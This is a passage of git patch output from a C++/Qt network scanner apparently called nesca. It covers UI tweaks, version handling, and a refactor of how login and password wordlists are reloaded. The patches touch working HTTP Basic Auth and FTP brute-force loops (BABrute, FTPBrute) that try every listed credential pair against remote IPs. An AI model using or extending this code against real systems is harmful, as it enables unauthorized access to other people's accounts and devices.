!defined(_WIN32) && !defined(__WIN32)) || defined(__CYGWIN__) + int linuxOffsetKOSTYL = 3; +#endif + + QGraphicsTextItem *item = sceneTextPlacer->addText("- Anomalies", fnt); item->setX(25); - item->setY(94); + item->setY(94+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(118, 120, 130, 100, penPT); sceneTextPlacer->addLine(23, 121, 117, 121, penPT); - item = sceneTextPlacer->addText("- Webforms", fnt); + item = sceneTextPlacer->addText("- Webforms", fnt); item->setX(25); - item->setY(105); + item->setY(105+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(155, 130, 170, 100, penPT); sceneTextPlacer->addLine(23, 131, 154, 131, penPT); - item = sceneTextPlacer->addText("- Basic Auth", fnt); + item = sceneTextPlacer->addText("- Basic Auth", fnt); item->setX(25); - item->setY(115); + item->setY(115+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(190, 140, 210, 100, penPT); sceneTextPlacer->addLine(23, 141, 189, 141, penPT); item = sceneTextPlacer->addText("- Suspicious", fnt); item->setX(25); - item->setY(125); + item->setY(125+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(230, 150, 250, 100, penPT); sceneTextPlacer->addLine(23, 151, 229, 151, penPT); item = sceneTextPlacer->addText("- Overloads", fnt); item->setX(25); - item->setY(135); + item->setY(135+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(270, 160, 290, 100, penPT); sceneTextPlacer->addLine(23, 161, 269, 161, penPT); item = sceneTextPlacer->addText("- Lowloads", fnt); item->setX(25); - item->setY(145); + item->setY(145+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); sceneTextPlacer->addLine(310, 170, 330, 100, penPT); sceneTextPlacer->addLine(23, 171, 309, 171, penPT); - item = sceneTextPlacer->addText("- Alive", fnt); + item = sceneTextPlacer->addText("- Alive", fnt); item->setX(25); - item->setY(155); + item->setY(155+linuxOffsetKOSTYL); item->setDefaultTextColor(QColor(255, 255, 255, 180)); } else if(VoiceScanFlag) @@ -2552,43 +2556,44 @@ void CreateVerFile() std::string GetVer() { - int dver = 0; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + int dver = 0; int tver = 0; - dver = __DATE__[9] - 48; - dver *= 10; - dver += __DATE__[10] - 48; - dver *= 100; - - if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1; - else if(__DATE__[0] == 'F') dver += 2; + dver = __DATE__[9] - 48; + dver *= 10; + dver += __DATE__[10] - 48; + dver *= 100; + + if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1; + else if(__DATE__[0] == 'F') dver += 2; else if(__DATE__[0] == 'M' && __DATE__[2] == 'r') dver += 3; - else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4; else if(__DATE__[0] == 'M' && __DATE__[2] == 'y') dver += 5; else if(__DATE__[0] == 'J' && __DATE__[2] == 'n') dver += 6; else if(__DATE__[0] == 'J' && __DATE__[2] == 'l') dver += 7; - else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8; - else if(__DATE__[0] == 'S') dver += 9; - else if(__DATE__[0] == 'O') dver += 10; - else if(__DATE__[0] == 'N') dver += 11; - else if(__DATE__[0] == 'D') dver += 12; - - if(__DATE__[4] != ' ') - { - dver *= 10; - dver += __DATE__[4] - 48; - } - else dver *= 10; - dver *= 10; - dver += __DATE__[5] - 48; + else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8; + else if(__DATE__[0] == 'S') dver += 9; + else if(__DATE__[0] == 'O') dver += 10; + else if(__DATE__[0] == 'N') dver += 11; + else if(__DATE__[0] == 'D') dver += 12; - tver = __TIME__[0] - 48; - tver *= 10; - tver += __TIME__[1] - 48; - tver *= 10; - tver += __TIME__[3] - 48; - tver *= 10; - tver += __TIME__[4] - 48; + if(__DATE__[4] != ' ') + { + dver *= 10; + dver += __DATE__[4] - 48; + } + else dver *= 10; + dver *= 10; + dver += __DATE__[5] - 48; + + tver = __TIME__[0] - 48; + tver *= 10; + tver += __TIME__[1] - 48; + tver *= 10; + tver += __TIME__[3] - 48; + tver *= 10; + tver += __TIME__[4] - 48; char dverX[16] = {0}; char tverX[16] = {0}; @@ -2597,9 +2602,22 @@ std::string GetVer() sprintf(tverX, "%X", tver); std::string db = std::string(dverX) + "-" + std::string(tverX); - //sprintf(db, "%X-%X", dver, tver); return db; +#else + FILE *f = fopen("version", "r"); + if(f != NULL) { + char buff[32] = {0}; + fgets(buff, 32, f); + fclose(f); + + std::string db = std::string(buff); + return db; + } else { + stt->doEmitionRedFoundData("Cannot open version file."); + return "?"; + }; +#endif } void nesca_3::slotShowRedVersion() @@ -2638,14 +2656,12 @@ void _startMsgCheck() QTime time = QTime::currentTime(); qsrand((uint)time.msec()); - - const std::string &gVERStr = GetVer(); strcpy(gVER, gVERStr.c_str()); QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); - ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); + ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); CreateVerFile(); RestoreSession(); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index ce66688..c1c45a0 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -4,6 +4,7 @@ #include "externFunctions.h" #include "Connector.h" #include "Threader.h" +#include "FileUpdater.h" #include <thread> QJsonArray *jsonArr = new QJsonArray(); @@ -811,309 +812,6 @@ void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, c progressOutput(target); } -void _passLoginLoader() { - MaxLogin = 0; - MaxPass = 0; - - char buffFG[32] = {0}; - int i = 0; - - FILE *loginList = fopen("login.txt", "r"); - FILE *passList = fopen("pass.txt", "r"); - - if(passList != NULL && loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - rewind(passList); - - loginLst = new char*[MaxLogin]; - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxWFLogin = 0; - MaxWFPass = 0; - - FILE *wfLoginList; - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - wfLoginList = fopen("wflogin.txt", "r"); - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL && wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - rewind(wfPassList); - - wfLoginLst = new char*[MaxWFLogin]; - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - - i = 0; - - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfPassList); - fclose(wfLoginList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; - - MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - i = 0; - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} - -void ReadUTF8(FILE* nFile, char *cp) { - char buffFG[256] = {0}; - int i = 0; - GlobalNegativeSize = 0; - - if(nFile != NULL) - { - while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 && - ((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false) - && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) - { - ++GlobalNegativeSize; - }; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(nFile); - if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); - - GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) - { - if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || - (buffFG[0] == '/' && buffFG[1] == '/')) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - - if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t') - { - char buffFGT[256] = {0}; - strcpy(buffFGT, buffFG); - char *ptr1 = strstr(buffFGT, "\t\t\t"); - ZeroMemory(buffFG, sizeof(buffFG)); - strcpy(buffFG, ptr1 + 3); - }; - - int bSz = strlen(buffFG); - if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10))) - { - ZeroMemory(buffFG, sizeof(buffFG)); - continue; - }; - if(buffFG[bSz] == 13 || buffFG[bSz] == 10) - { - buffFG[bSz] = '\0'; - }; - if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10) - { - buffFG[bSz - 1] = '\0'; - }; - if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10) - { - buffFG[bSz - 2] = '\0'; - }; - - if(strstr((char*)buffFG, "\n") != 0) - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1); - memset(GlobalNegatives[i] + sz - 1, '\0', 1); - ++i; - } - else - { - std::string res; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - res = xcode(buffFG, CP_UTF8, CP_ACP); -#else - res = std::string(buffFG); -#endif - int sz = res.size(); - GlobalNegatives[i] = new char[sz + 1]; - ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i])); - memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz); - memset(GlobalNegatives[i] + sz, '\0', 1); - ++i; - }; - - unsigned char buffcpy2[256] = {0}; - int sz = strlen((char*)buffFG); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz); -#else - strncpy((char*)buffcpy2, buffFG, sz); -#endif - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); - ZeroMemory(buffFG, sizeof(buffFG)); - fclose(nFile); - } - else - { - stt->doEmitionRedFoundData("No negative list found"); - stt->doEmitionKillSttThread(); - }; -} - #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) unsigned char* ASCIItoUNICODE (unsigned char ch) { @@ -1154,24 +852,6 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) { #endif return res; } -void _NegativeLoader() { - FILE *nFile = fopen("negatives.txt", "rb"); - - if( nFile != NULL) - { - unsigned char b[3] = {0}; - fread(b,1,2, nFile); - if( b[0] == 0xEF && b[1] == 0xBB) - { - fread(b,1,1,nFile); // 0xBF - ReadUTF8(nFile, "UTF"); - } - else - { - ReadUTF8(nFile, "1251"); - }; - } -} void CheckMaskBits(char *res, int index) { char *bitsStr = strstr(res, "/"); @@ -2080,11 +1760,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) { } void runAuxiliaryThreads() { + std::thread lpThread(FileUpdater::updateLists); + lpThread.detach(); std::thread saverThread(_saver); + saverThread.detach(); std::thread trackerThread(_tracker); - std::thread timerThread(_timer); - saverThread.detach(); - trackerThread.detach(); + trackerThread.detach(); + std::thread timerThread(_timer); timerThread.detach(); } @@ -2142,9 +1824,6 @@ int startScan(char* args) { stt->doEmitionIPRANGE(QString("--")); stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - _passLoginLoader(); - _NegativeLoader(); - runAuxiliaryThreads(); if (gMode == 0) diff --git a/vercheckerthread.cpp b/vercheckerthread.cpp index f61474b..1a2ea99 100644 --- a/vercheckerthread.cpp +++ b/vercheckerthread.cpp @@ -7,7 +7,7 @@ void _checkVer() { while(true) { - char request[64] = {"http://nesca.d3w.org/version"}; + const char request[64] = {"http://nesca.d3w.org/version"}; std::string buffer; std::vector<std::string> headerVector {"X-Nescav3: True"}; Connector::nConnect(request, 80, &buffer, NULL, &headerVector); @@ -20,6 +20,8 @@ void _checkVer() ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n"); if(strcmp(gVER, ptr1 + 4) != 0) { + stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) + + "<br>Your version: " + QString(gVER) + "<br>=======================</font>"); stt->doEmitionShowRedVersion(); }; }; From 40d69a654a019f5522592b736e29f99daf134b6c Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Wed, 25 Mar 2015 17:29:08 +0300 Subject: [PATCH 62/66] mutex testing --- BasicAuth.cpp | 17 +- FTPAuth.cpp | 2 - FileUpdater.cpp | 622 ++++++++++++++++++++---------------------- FileUpdater.h | 12 +- SSHAuth.cpp | 1 - Threader.cpp | 1 - WebformWorker.cpp | 9 +- WebformWorker.h | 8 +- externFunctions.h | 2 +- nesca_startModule.cpp | 4 +- 10 files changed, 313 insertions(+), 365 deletions(-) diff --git a/BasicAuth.cpp b/BasicAuth.cpp index 35fbeb7..324db34 100644 --- a/BasicAuth.cpp +++ b/BasicAuth.cpp @@ -1,4 +1,5 @@ #include "BasicAuth.h" +#include "FileUpdater.h" bool BA::checkOutput(const string *buffer, const char *ip, const int port) { if((Utils::ci_find_substr(*buffer, "200 ok") != -1 || @@ -40,29 +41,23 @@ lopaStr BA::BABrute(const char *ip, const int port) { strcpy(lps.login, "UNKNOWN"); - char login[128] = {0}; - char pass[32] = {0}; - for(int i = 0; i < MaxLogin; ++i) { - if(!lUpdated) Sleep(100); - strcpy(login, loginLst[i]); for (int j = 0; j < MaxPass; ++j) { + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if (!globalScanFlag) return lps; - if(!pUpdated) Sleep(100); - strcpy(pass, passLst[j]); - lpString = string(login) + ":" + string(pass); + lpString = string(loginLst[i]) + ":" + string(passLst[j]); if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps; if(checkOutput(&buffer, ip, port)) { - strcpy(lps.login, login); - strcpy(lps.pass, pass); + strcpy(lps.login, loginLst[i]); + strcpy(lps.pass, passLst[j]); return lps; }; if (BALogSwitched) stt->doEmitionBAData("BA: " + QString(ip) + ":" + QString::number(port) + - "; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" + + "; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); Sleep(100); diff --git a/FTPAuth.cpp b/FTPAuth.cpp index d810344..3ba1817 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -27,7 +27,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { for(int i = 0; i < MaxLogin; ++i) { if(!globalScanFlag) return lps; - if(!lUpdated) Sleep(100); if(strlen(loginLst[i]) <= 1) continue; strcpy(login, loginLst[i]); @@ -35,7 +34,6 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { for(int j = 0; j < MaxPass; ++j) { if(!globalScanFlag) return lps; - if(!pUpdated) Sleep(100); if(strlen(passLst[j]) <= 1) continue; strcpy(pass, passLst[j]); diff --git a/FileUpdater.cpp b/FileUpdater.cpp index c8eb4cd..32b3f18 100644 --- a/FileUpdater.cpp +++ b/FileUpdater.cpp @@ -1,4 +1,6 @@ #include "FileUpdater.h" +#include "STh.h" +#include "mainResources.h" long FileUpdater::oldNegLstSize = 0; long FileUpdater::oldLoginLstSize = 0; @@ -6,329 +8,10 @@ long FileUpdater::oldPassLstSize = 0; long FileUpdater::oldSSHLstSize = 0; long FileUpdater::oldWFLoginLstSize = 0; long FileUpdater::oldWFPassLstSize = 0; -bool FileUpdater::negUpdated = false; -bool FileUpdater::lUpdated = false; -bool FileUpdater::pUpdated = false; -bool FileUpdater::wflUpdated = false; -bool FileUpdater::wfpUpdated = false; -bool FileUpdater::sshlpUpdated = false; - -void updateNegatives() { - if(GlobalNegatives != NULL) - { - for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; - delete []GlobalNegatives; - GlobalNegatives = NULL; - }; - - negativeLoader(); -} -void updateLogin() { - - if(loginLst != NULL) - { - for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; - delete []loginLst; - loginLst = NULL; - }; - - MaxLogin = 0; - - char buffFG[32] = {0}; - - FILE *loginList = fopen("login.txt", "r"); - - if(loginList != NULL) - { - while(fgets(buffFG, 32, loginList) != NULL) - { - MaxLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(loginList); - - loginLst = new char*[MaxLogin]; - - for(int j = 0; j < MaxLogin; j++) - { - loginLst[j] = new char[32]; - }; - - int i = 0; - while(fgets(buffFG, 32, loginList) != NULL) - { - memset(loginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(loginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); - - fclose(loginList); - } - else - { - stt->doEmitionRedFoundData("No login list found"); - stt->doEmitionKillSttThread(); - }; -} -void updatePass() { - - if(passLst != NULL) - { - for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; - delete []passLst; - passLst = NULL; - }; - - MaxPass = 0; - - char buffFG[32] = {0}; - - FILE *passList = fopen("pass.txt", "r"); - - if(passList != NULL) - { - while(fgets(buffFG, 32, passList) != NULL) - { - MaxPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(passList); - - passLst = new char*[MaxPass]; - - for(int j = 0; j < MaxPass; j++) - { - passLst[j] = new char[32]; - }; - - int i = 0; - while(fgets(buffFG, 32, passList) != NULL) - { - memset(passLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(passLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); - - fclose(passList); - } - else - { - stt->doEmitionRedFoundData("No password list found"); - stt->doEmitionKillSttThread(); - }; -} -void updateSSH() { - - if(sshlpLst != NULL) - { - for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; - delete []sshlpLst; - sshlpLst = NULL; - }; - - MaxSSHPass = 0; - - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); - - sshlpList = fopen("sshpass.txt", "r"); - - if(sshlpList != NULL) - { - while(fgets(buffFG, 32, sshlpList) != NULL) - { - ++MaxSSHPass; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(sshlpList); - - sshlpLst = new char*[MaxSSHPass]; - - for(int j = 0; j < MaxSSHPass; j++) - { - sshlpLst[j] = new char[32]; - }; - - int i = 0; - while(fgets(buffFG, 32, sshlpList) != NULL) - { - memset(sshlpLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); - - fclose(sshlpList); - } - else - { - stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - }; -} -void updateWFLogin() { - - if(wfLoginLst != NULL) - { - for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; - delete []wfLoginLst; - wfLoginLst = NULL; - }; - - MaxWFLogin = 0; - - FILE *wfLoginList; - - ZeroMemory(buffFG, sizeof(buffFG)); - - wfLoginList = fopen("wflogin.txt", "r"); - - if(wfLoginList != NULL) - { - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - MaxWFLogin++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfLoginList); - - wfLoginLst = new char*[MaxWFLogin]; - - for(int j = 0; j < MaxWFLogin; j++) - { - wfLoginLst[j] = new char[32]; - }; - - int i = 0; - while(fgets(buffFG, 32, wfLoginList) != NULL) - { - memset(wfLoginLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); - fclose(wfLoginList); - } -} -void updateWFPass() { - - if(wfPassLst != NULL) - { - for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; - delete []wfPassLst; - wfPassLst = NULL; - }; - - MaxWFPass = 0; - - FILE *wfPassList; - - ZeroMemory(buffFG, sizeof(buffFG)); - - wfPassList = fopen("wfpass.txt", "r"); - - if(wfPassList != NULL) - { - while(fgets(buffFG, 32, wfPassList) != NULL) - { - MaxWFPass++; - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - rewind(wfPassList); - - wfPassLst = new char*[MaxWFPass]; - - for(int j = 0; j < MaxWFPass; j++) - { - wfPassLst[j] = new char[32]; - }; - - int i = 0; - while(fgets(buffFG, 32, wfPassList) != NULL) - { - memset(wfPassLst[i], 0, strlen(buffFG) + 1); - - if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); - else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); - ZeroMemory(buffFG, sizeof(buffFG)); - }; - - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); - fclose(wfPassList); - } -} - -long getFileSize(const char *fileName) { - std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary); - return in.tellg(); -} - -bool updateList(const char *fileName) { - long sz = getFileSize(fileName); - - if(strstr(fileName, "negatives") != NULL) { - if(sz != oldNegLstSize) { - negUpdated = false; - oldNegLstSize = sz; - updateNegatives(); - negUpdated = true; - } - } else if(strstr(fileName, "login") != NULL) { - if(sz != oldLoginLstSize) { - lUpdated = false; - oldLoginLstSize = sz; - updateLogin(); - lUpdated = true; - } - } else if(strstr(fileName, "pass") != NULL) { - if(sz != oldPassLstSize) { - pUpdated = false; - oldPassLstSize = sz; - updatePass(); - pUpdated = true; - } - } else if(strstr(fileName, "sshpass") != NULL) { - if(sz != oldSSHLstSize) { - sshlpUpdated = false; - oldSSHLstSize = sz; - updateSSH(); - sshlpUpdated = true; - } - } else if(strstr(fileName, "wflogin") != NULL) { - if(sz != oldWFLoginLstSize) { - wflUpdated = false; - oldWFLoginLstSize = sz; - updateWFLogin(); - wflUpdated = true; - } - } else if(strstr(fileName, "wfpass") != NULL) { - if(sz != oldWFPassLstSize) { - wfpUpdated = false; - oldWFPassLstSize = sz; - updateWFPass(); - wfpUpdated = true; - } - } -} +std::mutex FileUpdater::filesUpdatingMutex; +std::condition_variable FileUpdater::cv; +bool FileUpdater::ready = false; +std::unique_lock<std::mutex> FileUpdater::lk; void ReadUTF8(FILE* nFile, char *cp) { char buffFG[256] = {0}; @@ -461,14 +144,295 @@ void negativeLoader() { } } +void *updateNegatives() { + if(GlobalNegatives != NULL) + { + for(int i = 0; i < GlobalNegativeSize; ++i) delete []GlobalNegatives[i]; + delete []GlobalNegatives; + GlobalNegatives = NULL; + }; + + negativeLoader(); +} +void *updateLogin() { + + if(loginLst != NULL) + { + for(int i = 0; i < MaxLogin; ++i) delete []loginLst[i]; + delete []loginLst; + loginLst = NULL; + }; + + MaxLogin = 0; + + char buffFG[32] = {0}; + + FILE *loginList = fopen("login.txt", "r"); + + if(loginList != NULL) + { + while(fgets(buffFG, 32, loginList) != NULL) + { + MaxLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(loginList); + + loginLst = new char*[MaxLogin]; + + for(int j = 0; j < MaxLogin; j++) + { + loginLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, loginList) != NULL) + { + memset(loginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(loginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); + + fclose(loginList); + } + else + { + stt->doEmitionRedFoundData("No login list found"); + stt->doEmitionKillSttThread(); + }; +} +void *updatePass() { + + if(passLst != NULL) + { + for(int i = 0; i < MaxPass; ++i) delete []passLst[i]; + delete []passLst; + passLst = NULL; + }; + + MaxPass = 0; + + char buffFG[32] = {0}; + + FILE *passList = fopen("pass.txt", "r"); + + if(passList != NULL) + { + while(fgets(buffFG, 32, passList) != NULL) + { + MaxPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(passList); + + passLst = new char*[MaxPass]; + + for(int j = 0; j < MaxPass; j++) + { + passLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, passList) != NULL) + { + memset(passLst[i], 0, strlen(buffFG) + 1); + + 